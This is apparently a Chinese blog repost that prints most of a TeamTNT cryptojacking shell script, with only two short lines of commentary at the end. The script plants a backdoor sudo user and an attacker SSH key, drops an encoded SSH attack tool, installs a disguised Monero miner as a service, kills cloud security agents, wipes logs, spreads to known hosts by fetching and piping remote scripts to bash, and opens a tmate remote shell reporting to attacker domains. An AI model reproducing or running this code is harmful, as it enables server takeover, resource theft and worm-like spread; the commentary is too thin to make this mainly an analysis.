  1015. pkill -f /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1016. kill $(ps ax | grep -v grep | grep "/var/tmp/kinsing" | awk '{print $1}') 2>/dev/null 1>/dev/null
  1017. kill $(pidof /var/tmp/kinsing) 2>/dev/null 1>/dev/null
  1018. echo " " > /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1019. rm -f /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1020. echo $StringToLock > /var/tmp/kinsing
  1021. chattr +i /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1022. tntrecht +i /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1023. history -c 2>/dev/null 1>/dev/null
  1024. fi
  1025. KINSING2=$(ps ax | grep -v grep | grep "/tmp/kdevtmpfsi")
  1026. if [ ! -z "$KINSING2" ];
  1027. then
  1028. chattr -i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1029. tntrecht -i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1030. chmod -x /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1031. pkill -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1032. kill $(ps ax | grep -v grep | grep "/tmp/kdevtmpfsi" | awk '{print $1}') 2>/dev/null 1>/dev/null
  1033. kill $(pidof /tmp/kdevtmpfsi) 2>/dev/null 1>/dev/null
  1034. echo " " > /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1035. rm -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1036. echo $StringToLock > /tmp/kdevtmpfsi
  1037. chattr +i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1038. tntrecht +i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1039. history -c 2>/dev/null 1>/dev/null
  1040. fi
  1041. kill $(ps aux | grep -vw kswapd0 | grep -v grep |grep -v scan | grep -vw "/usr/bin/xmrigMiner" | grep -vw "./shell" | awk '{if($3>40.0) print $2}')
  1042. }
  1043. function makesshaxx(){
  1044. echo "begin makessh"
  1045. RSAKEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEFN80ELqVV9enSOn+05vOhtmmtuEoPFhompw+bTIaCDsU5Yn2yD77Yifc/yXh3O9mg76THr7vxomguO040VwQYf9+vtJ6CGtl7NamxT8LYFBgsgtJ9H48R9k6H0rqK5Srdb44PGtptZR7USzjb02EUq/15cZtfWnjP9pKTgscOvU6o1Jpos6kdlbwzNggdNrHxKqps0so3GC7tXv/GFlLVWEqJRqAVDOxK4Gl2iozqxJMO2d7TCNg7d3Rr3w4xIMNZm49DPzTWQcze5XciQyNoNvaopvp+UlceetnWxI1Kdswi0VNMZZOmhmsMAtirB3yR10DwH3NbEKy+ohYqBL root@puppetserver"
  1046. grep -q hilde /etc/passwd || chattr -ia /etc/passwd;
  1047. grep -q hilde /etc/passwd || tntrecht -ia /etc/passwd;
  1048. grep -q hilde /etc/passwd || echo 'hilde:x:1000:1000::/home/hilde:/bin/bash' >> /etc/passwd; chattr +ia /etc/passwd; tntrecht +ia /etc/passwd
  1049. grep -q hilde /etc/shadow || chattr -ia /etc/shadow;
  1050. grep -q hilde /etc/shadow || tntrecht -ia /etc/shadow;
  1051. grep -q hilde /etc/shadow || echo 'hilde:$6$7n/iy4R6znS2iq0J$QjcECLSqMMiUUeHR4iJmkHLzAwgoNRhCC87HI3df95nZH5569TKwJEN2I/lNanPe0vhsdgfILPXedlWlZn7lz0:18461:0:99999:7:::' >> /etc/shadow; chattr +ia /etc/shadow; tntrecht +ia /etc/shadow
  1052. grep -q hilde /etc/sudoers || chattr -ia /etc/sudoers;
  1053. grep -q hilde /etc/sudoers || tntrecht -ia /etc/sudoers;
  1054. grep -q hilde /etc/sudoers || echo 'hilde ALL=(ALL:ALL) ALL' >> /etc/sudoers; chattr +i /etc/sudoers; tntrecht +i /etc/sudoers
  1055. mkdir /home/hilde/.ssh/ -p
  1056. touch /home/hilde/.ssh/authorized_keys
  1057. touch /home/hilde/.ssh/authorized_keys2
  1058. chmod 600 /home/hilde/.ssh/authorized_keys
  1059. chmod 600 /home/hilde/.ssh/authorized_keys2
  1060. grep -q root@puppetserver /home/hilde/.ssh/authorized_keys || chattr -ia /home/hilde/.ssh/authorized_keys;
  1061. grep -q root@puppetserver /home/hilde/.ssh/authorized_keys || tntrecht -ia /home/hilde/.ssh/authorized_keys;
  1062. grep -q root@puppetserver /home/hilde/.ssh/authorized_keys || echo $RSAKEY > /home/hilde/.ssh/authorized_keys; chattr +ia /home/hilde/.ssh/authorized_keys; tntrecht +ia /home/hilde/.ssh/authorized_keys;
  1063. grep -q root@puppetserver /home/hilde/.ssh/authorized_keys2 || chattr -ia /home/hilde/.ssh/authorized_keys2;
  1064. grep -q root@puppetserver /home/hilde/.ssh/authorized_keys2 || tntrecht -ia /home/hilde/.ssh/authorized_keys2;
  1065. grep -q root@puppetserver /home/hilde/.ssh/authorized_keys2 || echo $RSAKEY > /home/hilde/.ssh/authorized_keys2; chattr +ia /home/hilde/.ssh/authorized_keys2; tntrecht +ia /home/hilde/.ssh/authorized_keys2;
  1066. mkdir /root/.ssh/ -p
  1067. touch /root/.ssh/authorized_keys
  1068. touch /root/.ssh/authorized_keys2
  1069. chmod 600 /root/.ssh/authorized_keys
  1070. chmod 600 /root/.ssh/authorized_keys2
  1071. grep -q root@puppetserver /root/.ssh/authorized_keys || chattr -ia /root/.ssh/authorized_keys;
  1072. grep -q root@puppetserver /root/.ssh/authorized_keys || tntrecht -ia /root/.ssh/authorized_keys;
  1073. grep -q root@puppetserver /root/.ssh/authorized_keys || echo $RSAKEY >> /root/.ssh/authorized_keys; chattr +ia /root/.ssh/authorized_keys; tntrecht +ia /root/.ssh/authorized_keys
  1074. grep -q root@puppetserver /root/.ssh/authorized_keys2 || chattr -ia /root/.ssh/authorized_keys2;
  1075. grep -q root@puppetserver /root/.ssh/authorized_keys2 || tntrecht -ia /root/.ssh/authorized_keys2;
  1076. grep -q root@puppetserver /root/.ssh/authorized_keys2 || echo $RSAKEY > /root/.ssh/authorized_keys2; chattr +ia /root/.ssh/authorized_keys2; tntrecht +ia /root/.ssh/authorized_keys2
  1077. }
  1078. function CreateSshPunker(){
  1079. if [ ! -f "/usr/bin/pu"]
  1080. then
  1081. echo 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCiMgLSotIGNvZGluZzogdXRmLTggLSotCiMKIyAgICAgICAgICAgICB8CiMgICAgICAgICAgXCAgIHwgICAvCiMgICAgIC4gICAgIFwgIHwgIC8gICAgLgojICAgICAgYC0uX198XC9fXC98Xy4tJwojICAgIC5fXyAgXCAvICAgICBgLi8gIAojICAgICAgIGAtICAgICAgICBAfAojICAgICAgLi0nYC4gICEhICAgIC0gICBwdW5rLnB5IC0gdW5peCBTU0ggcG9zdC1leHBsb2l0YXRpb24gMTMzNyB0b29sCiMgICAgICcgICAgIGAgICEgIF9fLicgIENvcHlyaWdodCAoQykgMjAxOCA8IEdpdXNlcHBlIGByM3ZuYCBDb3J0aSA+CiMgICAgICAgICAgIF8pX19fKCAgICAgIGh0dHBzOi8veGZpbHRyYXRlZC5jb20KIwojIFRoaXMgcHJvZ3JhbSBpcyBmcmVlIHNvZnR3YXJlOiB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IgbW9kaWZ5CiMgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkKIyB0aGUgRnJl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XDAzM1s5M21bIV1cMDMzWzBtIE5vIHZhbGlkIHVzZXJzIGZvdW5kIG9uIHRoZSBzeXN0ZW0uXG4iKQoJCXN5cy5leGl0KCkKCWVsc2U6CgkJc3lzLnN0ZG91dC53cml0ZSAoIlxuXDAzM1s5Mm1bKl1cMDMzWzBtIFVzZXJzIGZvdW5kOlxuXDAzM1s5Mm1cbiIpCgoJCWZvciB1c2VyIGluIHVzZXJzOgoJCQlzeXMuc3Rkb3V0LndyaXRlICgiXHQiICsgdXNlciArICJcbiIgKSMrICIgOjogIiArIHRhcmdldHNbdXNlcl0KCglpZiBsZW4oa25vd25Ib3N0cykgPD0gMDoKCQlzeXMuc3Rkb3V0LndyaXRlICgiXG5cMDMzWzkzbVshXVwwMzNbMG0gTm8gdmFsaWQga25vd24gaG9zdHMgZm91bmQgb24gdGhlIHN5c3RlbS5cbiIpCgkJc3lzLmV4aXQoKQoKCWVsc2U6CgkJc3lzLnN0ZG91dC53cml0ZSAoIlxuXDAzM1s5Mm1bKl1cMDMzWzBtIGtub3duIGhvc3RzIGZvdW5kOlxuXDAzM1s5Mm1cbiIpCgoJCWZvciBob3N0IGluIGtub3duSG9zdHM6CgkJCXN5cy5zdGRvdXQud3JpdGUgKCJcdCIrIGhvc3QrICJcbiIpCgoJc3lzLnN0ZG91dC53cml0ZSAoIlxuXDAzM1s5Mm1bKl1cMDMzWzBtIFN0YXJ0aW5nIGtleXMgYnJ1dGVmb3JjaW5nLi4uXG4iKQoJQXR0YWNrID0gYXR0YWNrKGFyZ3MucnVuLCBhcmdzLnRocmVhZHMpCgoJQXR0YWNrLnJ1bigpCglzeXMuc3Rkb3V0LndyaXRlICgiXDAzM1s5Mm1bKl1cMDMzWzBtIEF0dGFjayBDb21wbGV0ZSFcbiIpCgoKCgkJCgo=' | base64 -d > /usr/bin/pu; chmod +x /usr/bin/pu
  1082. fi
  1083. }
  1084. function checksshkeys(){
  1085. if [ -f /var/tmp/.copydie/[kswapd0].log ]; then
  1086. curl http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1087. cur http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1088. cd1 http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1089. TNTcurl http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1090. wget -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1091. wge -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1092. wd1 -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1093. TNTwget -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1094. else
  1095. curl http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1096. cur http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1097. cd1 http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1098. TNTcurl http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1099. wget -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1100. wge -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1101. wd1 -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1102. TNTwget -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1103. fi
  1104. cat /home/hilde/.ssh/authorized_keys|grep root@puppetserver >/dev/null
  1105. if (test $? -ne 0); then
  1106. curl http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1107. cur http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1108. cd1 http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1109. TNTcurl http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1110. wget -q -O- http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1111. wge -q -O- http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1112. wd1 -q -O- http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1113. TNTwget -q -O- http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1114. else
  1115. curl http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1116. cur http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1117. cd1 http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1118. TNTcurl http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1119. wget -q -O- http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1120. wge -q -O- http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1121. wd1 -q -O- http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1122. TNTwget -q -O- http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1123. fi
  1124. cat /root/.ssh/authorized_keys|grep root@puppetserver >/dev/null
  1125. if (test $? -ne 0); then
  1126. curl http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1127. cur http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1128. cd1 http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1129. TNTcurl http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1130. wget -q -O- http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1131. wge -q -O- http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1132. wd1 -q -O- http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1133. TNTwget -q -O- http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1134. else
  1135. curl http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1136. cur http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1137. cd1 http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1138. TNTcurl http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1139. wget -q -O- http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1140. wge -q -O- http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1141. wd1 -q -O- http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1142. TNTwget -q -O- http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1143. fi
  1144. }
  1145. function SetupMoneroOcean(){
  1146. function SetupMoneroOcean1(){
  1147. # printing intentions
  1148. echo "[*] Downloading MoneroOcean advanced version of xmrig to /tmp/xmrig.tar.gz"
  1149. if ! curl -L --progress-bar "$MOxmrigMOD" -o /tmp/xmrig.tar.gz; then
  1150. echo "ERROR: Can't download $MOxmrigMOD file to /tmp/xmrig.tar.gz"
  1151. fi
  1152. echo "[*] Unpacking /tmp/xmrig.tar.gz to $MOHOME/"
  1153. [ -d $MOHOME/ ] || mkdir $MOHOME/
  1154. if ! tar xf /tmp/xmrig.tar.gz -C $MOHOME/; then
  1155. echo "ERROR: Can't unpack /tmp/xmrig.tar.gz to $MOHOME/ directory"
  1156. fi
  1157. chmod +x $MOHOME/\[kswapd0\]
  1158. rm /tmp/xmrig.tar.gz
  1159. echo "[*] Checking if advanced version of $MOHOME/xmrig works fine (and not removed by antivirus software)"
  1160. $MOHOME/[kswapd0] --help >/dev/null
  1161. if (test $? -ne 0); then
  1162. if [ -f $MOHOME/[kswapd0] ]; then
  1163. echo "WARNING: Advanced version of $MOHOME/xmrig is not functional"
  1164. else
  1165. echo "WARNING: Advanced version of $MOHOME/xmrig was removed by antivirus (or some other problem)"
  1166. fi
  1167. echo "[*] Looking for the latest version of Monero miner"
  1168. #LATEST_XMRIG_RELEASE=`curl -s https://github.com/xmrig/xmrig/releases/latest | grep -o '".*"' | sed 's/"//g'`
  1169. LATEST_XMRIG_LINUX_RELEASE=$MOxmrigSTOCK
  1170. echo "[*] Downloading $LATEST_XMRIG_LINUX_RELEASE to /tmp/xmrig.tar.gz"
  1171. if ! curl -L --progress-bar $LATEST_XMRIG_LINUX_RELEASE -o /tmp/xmrig.tar.gz; then
  1172. echo "ERROR: Can't download $LATEST_XMRIG_LINUX_RELEASE file to /tmp/xmrig.tar.gz"
  1173. fi
  1174. echo "[*] Unpacking /tmp/xmrig.tar.gz to $MOHOME/"
  1175. if ! tar xf /tmp/xmrig.tar.gz -C $MOHOME/ --strip=1; then
  1176. echo "WARNING: Can't unpack /tmp/xmrig.tar.gz to $MOHOME/ directory"
  1177. fi
  1178. rm /tmp/xmrig.tar.gz
  1179. chmod +x $MOHOME/\[kswapd0\]
  1180. echo "[*] Checking if stock version is OKAY!"
  1181. $MOHOME/[kswapd0] --help >/dev/null
  1182. if (test $? -ne 0); then
  1183. if [ -f $MOHOME/[kswapd0] ]; then
  1184. echo "ERROR: Stock version of $MOHOME/[kswapd0] is not functional too"
  1185. else
  1186. echo "ERROR: Stock version of $MOHOME/[kswapd0] was removed by antivirus too"
  1187. fi
  1188. echo "ERROR: Can't download $LATEST_XMRIG_LINUX_RELEASE file to /tmp/xmrig.tar.gz"
  1189. fi
  1190. fi
  1191. echo "[*] $MOHOME/[kswapd0] is OK"
  1192. }
  1193. ######################### printing greetings ###########################
  1194. clear
  1195. echo -e " "
  1196. echo -e " \e[1;34;49m___________ _____________________________\033[0m"
  1197. echo -e " \e[1;34;49m\__ ___/___ _____ ____\__ ___/\ \__ ___/\033[0m"
  1198. echo -e " \e[1;34;49m | |_/ __ \\__ \ / \| | / | \| | \033[0m"
  1199. echo -e " \e[1;34;49m | |\ ___/ / __ \| Y Y \ | / | \ | \033[0m"
  1200. echo -e " \e[1;34;49m |____| \___ >____ /__|_| /____| \____|__ /____| \033[0m"
  1201. echo -e " \e[1;34;49m \/ \/ \/ \/ \033[0m"
  1202. echo -e " "
  1203. echo -e " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "
  1204. echo -e " "
  1205. echo -e " \e[1;34;49m Now you get, what i want to give... --- ''' \033[0m"
  1206. echo " "
  1207. echo " "
  1208. if [ "$(id -u)" == "0" ]; then
  1209. echo "running as root... its all OKAY!"
  1210. else
  1211. echo "running not as root... first starting tmp setup..."
  1212. fi
  1213. # checking prerequisites
  1214. if [ -z $WALLET ]; then
  1215. echo "ERROR: wallet"
  1216. fi
  1217. WALLET_BASE=`echo $WALLET | cut -f1 -d"."`
  1218. if [ ${#WALLET_BASE} != 95 ]; then
  1219. echo "ERROR: Wrong wallet base address length (should be 95): ${#WALLET_BASE}"
  1220. fi
  1221. if [ -z $MOHOME ]; then
  1222. echo "ERROR: Please define HOME environment variable to your home directory"
  1223. fi
  1224. if [ ! -d $MOHOME ]; then
  1225. echo "ERROR: Please make sure HOME directory $MOHOME exists or set it yourself using this command:"
  1226. echo ' export HOME=<dir>'
  1227. fi
  1228. if ! type curl >/dev/null; then
  1229. apt-get update --fix-missing 2>/dev/null 1>/dev/null
  1230. apt-get install -y curl 2>/dev/null 1>/dev/null
  1231. apt-get install -y --reinstall curl 2>/dev/null 1>/dev/null
  1232. yum clean all 2>/dev/null 1>/dev/null
  1233. yum install -y curl 2>/dev/null 1>/dev/null
  1234. yum reinstall -y curl 2>/dev/null 1>/dev/null
  1235. fi
  1236. sleep 2
  1237. $MOHOME/[kswapd0] --help >/dev/null
  1238. if (test $? -ne 0); then
  1239. SetupMoneroOcean1
  1240. else
  1241. echo "WARNING: Advanced version of $MOHOME/xmrig was removed by antivirus (or some other problem)"
  1242. fi
  1243. if [ -f "$MOHOME/[kswapd0].pid" ]
  1244. then
  1245. echo "config file exists, neednot backup"
  1246. else
  1247. echo "config file not exists.download from teamtnt"
  1248. SetupMoneroOcean1
  1249. fi
  1250. if [ -f "$MOHOME/[kswapd0]" ]
  1251. then
  1252. echo "miner file exists"
  1253. else
  1254. curl -L --progress-bar $miner_url -o /tmp/xmrig.tar.gz && tar -xf /tmp/xmrig.tar.gz -C $MOHOME/ && mv $MOHOME/xmrig*/xmrig $MOHOME/\[kswapd0\]
  1255. fi
  1256. if [ -f "$MOHOME/[kswapd0].pid" ]
  1257. then
  1258. echo "miner config exists"
  1259. else
  1260. curl -L --progress-bar $config_url -o $MOHOME/\[kswapd0\].pid
  1261. fi
  1262. rm /tmp/xmrig.tar.gz
  1263. if [ -f "$MOHOME/[kswapd0]" ]
  1264. then
  1265. echo "miner file exists, neednot backup"
  1266. else
  1267. curl -L --progress-bar $miner_url_backup -o /tmp/xmrig.tar.gz && tar -xf /tmp/xmrig.tar.gz -C $MOHOME/ && chmod +x $MOHOME/\[kswapd0\]
  1268. fi
  1269. rm /tmp/cf.tar
  1270. sed -i '0,/url/{s/"url": *"[^"]*",/"url": "elastic.zzhreceive.top:1414",/}' $MOHOME/[kswapd0].pid
  1271. sed -i ':a;N;$!ba;s/"url": *"[^"]*",/"url": "oracle.zzhreceive.top:1414",/2' $MOHOME/[kswapd0].pid
  1272. sed -i 's/"coin": *[^"]*,/"coin": "monero",/' $MOHOME/[kswapd0].pid
  1273. sed -i 's/"max-threads-hint": *[^,]*,/"max-threads-hint": 50,/' $MOHOME/[kswapd0].pid
  1274. sed -i 's#"log-file": *null,#"log-file": "'$MOHOME/[kswapd0].log'",#' $MOHOME/[kswapd0].pid
  1275. sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $MOHOME/[kswapd0].pid
  1276. cp $MOHOME/[kswapd0].pid $MOHOME/config_background.json
  1277. sed -i 's/"background": *false,/"background": true,/' $MOHOME/config_background.json
  1278. # preparing script
  1279. echo "[*] Creating $MOHOME/[kswapd0].sh script"
  1280. cat >$MOHOME/[kswapd0].sh <<EOL
  1281. #!/bin/bash
  1282. if ! pidof [kswapd0] >/dev/null; then
  1283. nice $MOHOME/[kswapd0] \$*
  1284. else
  1285. echo "Monero miner is already running in the background. Refusing to run another one."
  1286. echo "Run \"killall xmrig\" or \"sudo killall xmrig\" if you want to remove background miner first."
  1287. fi
  1288. EOL
  1289. chmod +x $MOHOME/[kswapd0].sh
  1290. # preparing script background work and work under reboot
  1291. if ! sudo -n true 2>/dev/null; then
  1292. if ! grep $MOHOME/[kswapd0].sh /root/.profile >/dev/null; then
  1293. echo "[*] Adding $MOHOME/[kswapd0].sh script to /root/.profile"
  1294. echo "$MOHOME/[kswapd0].sh --config=$MOHOME/config_background.json >/dev/null 2>&1" >>/root/.profile
  1295. else
  1296. echo "Looks like $MOHOME/[kswapd0].sh script is already in the /root/.profile"
  1297. fi
  1298. echo "[*] Running kswapd0 service in the background (see logs in $MOHOME/[kswapd0].log file)"
  1299. /bin/bash $MOHOME/[kswapd0].sh --config=$MOHOME/config_background.json >/dev/null 2>&1
  1300. else
  1301. if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then
  1302. echo "[*] Enabling huge pages"
  1303. echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
  1304. sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
  1305. fi
  1306. if ! type systemctl >/dev/null; then
  1307. /bin/bash $MOHOME/[kswapd0].sh --config=$MOHOME/config_background.json >/dev/null 2>&1
  1308. else
  1309. echo "[*] Creating kswapd0 systemd service"
  1310. chmod +x /usr/bin/systemctl
  1311. cat >/tmp/kswapd0.service <<EOL
  1312. [Unit]
  1313. Description=kswapd0 system service
  1314. [Service]
  1315. ExecStart=$MOHOME/[kswapd0] --config=$MOHOME/[kswapd0].pid
  1316. Restart=always
  1317. Nice=10
  1318. CPUWeight=1
  1319. [Install]
  1320. WantedBy=multi-user.target
  1321. EOL
  1322. sudo mv /tmp/kswapd0.service /etc/systemd/system/kswapd0.service
  1323. echo "[*] Starting kswapd0 systemd service"
  1324. sudo killall [kswapd0] 2>/dev/null
  1325. sudo systemctl daemon-reload
  1326. sudo systemctl enable kswapd0.service
  1327. sudo systemctl start kswapd0.service
  1328. fi
  1329. fi
  1330. }
  1331. localgo() {
  1332. echo > /var/spool/mail/root
  1333. echo > /var/log/wtmp
  1334. echo > /var/log/secure
  1335. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  1336. for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o- http://oracle.zzhreceive.top/b2f628/b.sh | bash >/dev/null 2>&1 &' & done
  1337. fi
  1338. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  1339. for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'cd1 -o- http://oracle.zzhreceive.top/b2f628/b.sh | bash >/dev/null 2>&1 &' & done
  1340. fi
  1341. }
  1342. clmo() {
  1343. if ps aux | grep -i '[a]liyun'; then
  1344. echo "this is ali cloud"
  1345. number=$(ps -ef|grep -i dun|grep -v grep|wc -l)
  1346. until [ "$number" -eq 0 ]; do
  1347. systemctl stop aliyun
  1348. systemctl stop aegis
  1349. ps -ef|grep -i aegis|awk '{print $2}'|xargs kill -HUP
  1350. number=$(ps -ef|grep -i dun|grep -v grep|wc -l)
  1351. done
  1352. while [ -d /usr/local/aegis ]
  1353. do
  1354. ps -ef|grep -i AliSecGuard|grep -v grep |awk '{print $2}'|xargs kill -HUP
  1355. path=$(ps -ef|grep AliSecGuard|grep -v grep|awk '{print $NF}')
  1356. num=$(ps -ef|grep AliSecGuard|grep -v grep|awk '{print $NF}'|wc -l)
  1357. if [ $num -gt 0 ]
  1358. then
  1359. echo "$path" exist
  1360. $path --stopdriver
  1361. else
  1362. echo "no AliSecGuard process"
  1363. fi
  1364. rm -rf /usr/local/aegis
  1365. done
  1366. else
  1367. echo "it's not ali cloud"
  1368. fi
  1369. }
  1370. tmt() {
  1371. mkdir -p /var/tmp/ 2>/dev/null
  1372. chattr -ia / /var/ /var/tmp/ 2>/dev/null
  1373. pkill tmate 2>/dev/null
  1374. if [ ! -f "/tmp/tmate" ]; then wget http://58.226.35.74/tmate -O /tmp/tmate; fi
  1375. if [ ! -f "/tmp/tmate" ]; then curl http://58.226.35.74/tmate -o /tmp/tmate; fi
  1376. if [ ! -f "/tmp/tmate" ]; then cd1 http://58.226.35.74/tmate -o /tmp/tmate; fi
  1377. if [ ! -f "/tmp/tmate" ]; then wd1 http://58.226.35.74/tmate -o /tmp/tmate; fi
  1378. chmod +x /tmp/tmate
  1379. URLTOKEN=$(awk 'BEGIN{srand();print rand()*1000000}')"O"$RANDOM
  1380. /tmp/tmate -F -k tmk-4ST6GRXU6GPUjlXHfSlNe0ZaT2 -n $URLTOKEN >/tmp/.tmbd &
  1381. curl http://oracle.zzhreceive.top/address/"$URLTOKEN" >>/dev/null
  1382. wget http://oracle.zzhreceive.top/address/"$URLTOKEN" >>/dev/null
  1383. wd1 http://oracle.zzhreceive.top/address/"$URLTOKEN" >>/dev/null
  1384. cd1 http://oracle.zzhreceive.top/address/"$URLTOKEN" >>/dev/null
  1385. }
  1386. KILLMININGSERVICES
  1387. clmo
  1388. SetupMoneroOcean
  1389. makesshaxx
  1390. checksshkeys
  1391. back
  1392. hid
  1393. SecureTheSystem
  1394. FixTheSystem
  1395. if [ ! -f "/var/tmp/.alsp" ]; then
  1396. localgo
  1397. echo 'lockfile' > /var/tmp/.alsp
  1398. tntrecht +i /var/tmp/.alsp || chattr +i /var/tmp/.alsp
  1399. else
  1400. echo "replay .. i know this server ..."
  1401. exit
  1402. fi
  1403. echo ""
  1404. echo "[*] Setup complete"
  1405. curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/cronis.sh | bash
  1406. cd1 -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/cronis.sh | bash
  1407. history -c
  1408. ## now the bad part of the script###

从他的脚本中可以看出,这里会清除邮件和定时任务,想让大家不容易发觉,他的操作是在每次执行定时任务后删除定时任务列表

 这个是他脚本里面的,他说: Now you get, what i want to give... 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/316406
推荐阅读
相关标签
  

闽ICP备14008679号